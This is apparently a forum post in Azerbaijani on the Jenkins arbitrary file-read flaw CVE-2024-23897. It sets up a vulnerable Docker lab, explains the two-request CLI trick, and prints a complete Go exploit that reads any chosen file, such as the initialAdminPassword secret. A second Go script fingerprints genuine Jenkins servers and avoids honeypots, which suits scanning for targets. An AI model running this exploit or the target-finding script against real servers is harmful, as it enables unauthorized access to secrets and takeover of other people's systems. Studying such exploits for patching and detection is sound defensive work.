CVE-2024-23897 - İstismar və yoxlama vasitəsi

Administrator

Administrator
Əməkdaş
Dec 8, 2023
14
1
3

Zəiflik​

Jenkins 2.441 və daha əvvəlki versiyalarda, LTS 2.426.2 və daha əvvəlki versiyalarda ixtiyari faylların icazəsiz oxunmasına qarşı zəiflik mövcuddur. /etc/passwd faylını oxumaq sizə heç nə verməyəcək. Zənnimcə, zəifliyin özü həddən artıq qiymətləndirilib (overrated). Sirləri və xüsusilə admin parolunu ehtiva edən initialAdminPassword faylını oxuya bildiyiniz halda istifadə edilə bilər.

Laboratoriya​

Kali - də bir lab yaratdım və zəifliyi yoxlamaq qərarına gəldim. Laboratoriya mühiti yaratmaq üçün əmrlər:
Code:
sudo apt-get update
sudo apt-get install -y docker.io
docker pull jenkins/jenkins:2.440 #Versiya 2.440 istismara həssasdır
docker run -d -p 8080:8080 -p 50000:50000 --name jenkins-2.440 jenkins/jenkins:2.440
docker exec jenkins-2.440 cat /var/jenkins_home/secrets/initialAdminPassword #Admin-in parolunu oxumaq üçün

İndi github-da bir çox ictimai istismar var, onlardan birini quraşdırdım və sorğuları BurpSuite proxy vasitəsilə tutaraq yoxlamağa qərar verdim

İstismarın arxasındakı məntiq​

1. UUID yaradılır və hər iki sorğuda "Session" başlığı kimi istifadə olunur
2. Fayl adı istifadəçidən götürülür və sorğuda göndəriləcək data yaradılır.
2. İlk sorğu "Session" başlığı və "Download" dəyəri olan "Side" başlığı ilə göndərilir.
3. İkinci sorğu ilk sorğuya cavab gözləmədən göndərilir. Bu sorğuya "Session" başlığı, "Upload" dəyəri olan "Side" başlığı və ikinci addımda yaradılan data daxildir.
4. Birinci sorğunun cavabı ikinci sorğudan sonra göstərilir.

out.gif


İstismardakı sorğular HTTP proxy 127.0.0.1:9090 vasitəsilə ilə ötürülür:

Code:
package main

import (
    "bytes"
    "crypto/rand"
    "fmt"
    "io/ioutil"
    "log"
    "net/http"
    "net/url"
    "os"
    "sync"
    "time"
    "crypto/tls"
)

func main() {
    if len(os.Args) != 3 {
        fmt.Println("Usage: go run main.go http://example.com {filename}")
        os.Exit(1)
    }

    domain := os.Args[1]
    filename := os.Args[2]


    sessionUUID, err := generateUUID()
    if err != nil {
        log.Fatalf("Failed to generate UUID: %s", err)
    }


    proxyURL, err := url.Parse("http://localhost:9090")
    if err != nil {
        log.Fatalf("Failed to parse proxy URL: %s", err)
    }

    transport := &http.Transport{
        Proxy: http.ProxyURL(proxyURL),
        TLSClientConfig: &tls.Config{
            InsecureSkipVerify: true,
        },
    }

    client := &http.Client{
        Transport: transport,
    }

    var wg sync.WaitGroup
    wg.Add(1)


    go func() {
        defer wg.Done()
       
        initReq, err := http.NewRequest("POST", domain+"/cli?remoting=false", nil)
        if err != nil {
            log.Fatalf("Failed to create initial request: %s", err)
        }


        initReq.Header.Set("Session", sessionUUID)
        initReq.Header.Set("Side", "download")
        initReq.Header.Set("Connection", "close")


        initResp, err := client.Do(initReq)
        if err != nil {
            log.Fatalf("Failed to send initial request: %s", err)
        }
        defer initResp.Body.Close()


        initBody, err := ioutil.ReadAll(initResp.Body)
        if err != nil {
            log.Fatalf("Failed to read initial response body: %s", err)
        }

        fmt.Println("Response:", string(initBody))
    }()


    time.Sleep(time.Second * 2)


    dataPrefix := []byte("\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@")
    dataSuffix := []byte("\x00\x00\x00\x05\x02\x00\x03AZE\x00\x00\x00\x07\x01\x00\x05az_AZ\x00\x00\x00\x00\x03")
    data := append(dataPrefix, filename...)
    data = append(data, dataSuffix...)


    req, err := http.NewRequest("POST", domain+"/cli?remoting=false", bytes.NewReader(data))
    if err != nil {
        log.Fatalf("Failed to create main request: %s", err)
    }


    req.Header.Set("Content-Length", fmt.Sprintf("%d", len(data)))
    req.Header.Set("Content-Type", "application/octet-stream")
    req.Header.Set("Session", sessionUUID)
    req.Header.Set("Side", "upload")
    req.Header.Set("Connection", "close")


    _, err = client.Do(req)
    if err != nil {
        log.Fatalf("Failed to send main request: %s", err)
    }

    wg.Wait()
}


func generateUUID() (string, error) {
    uuid := make([]byte, 16)

    _, err := rand.Read(uuid)
    if err != nil {
        return "", err
    }

    uuid[6] = (uuid[6] & 0x0f) | 0x40
    uuid[8] = (uuid[8] & 0x3f) | 0x80

    return fmt.Sprintf("%x-%x-%x-%x-%x", uuid[0:4], uuid[4:6], uuid[6:8], uuid[8:10], uuid[10:]), nil
}

Yoxlama vasitəsi​

Xidmətlər jenkinsin istifadə edilib-edilmədiyini necə müəyyənləşdirir?
Bir neçə yolla müəyyən edilə bilər. Adətən shodan kimi xidmətlər başlıqlardan (header/title) və hətta mənbə kodundan istifadə edir. Təəssüf ki, bir çox bal qabı (honeypot) var və onlar shodan kimi xidmətlərin istifadə etdiyi üsullardan sui-istifadə edirlər (Misal: Bir neçə başlıqdan istifadə edərək). Beləliklə, mən javascript fayllarından birini yoxlayaraq Jenkinsin həqiqətən istifadə edilib-edilmədiyini yoxlayan bir skript yazdım.

Bal qabı (Honeypot):
Screenshot 2024-01-27 at 6.45.58 AM.png



Code:
package main

import (
    "crypto/tls"
    "flag"
    "fmt"
    "io/ioutil"
    "net/http"
    "os"
    "strings"
)

func main() {
    flag.Parse()
    args := flag.Args()

    if len(args) < 1 {
        fmt.Println("Usage: go run script.go <domain>")
        os.Exit(1)
    }

    domain := args[0]

    httpClient := &http.Client{
        Transport: &http.Transport{
            TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
        },
    }

    url := domain + "/scripts/hudson-behavior.js"

    resp, err := httpClient.Get(url)
    if err != nil {
        fmt.Printf("Failed to send request: %v\n", err)
        os.Exit(1)
    }
    defer resp.Body.Close()

    body, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        fmt.Printf("Failed to read response body: %v\n", err)
        os.Exit(1)
    }

    if strings.Contains(string(body), "jenkins-form-item") {
        fmt.Println("Success:", domain)
    } else {
        fmt.Println("Fail:", domain)
    }
}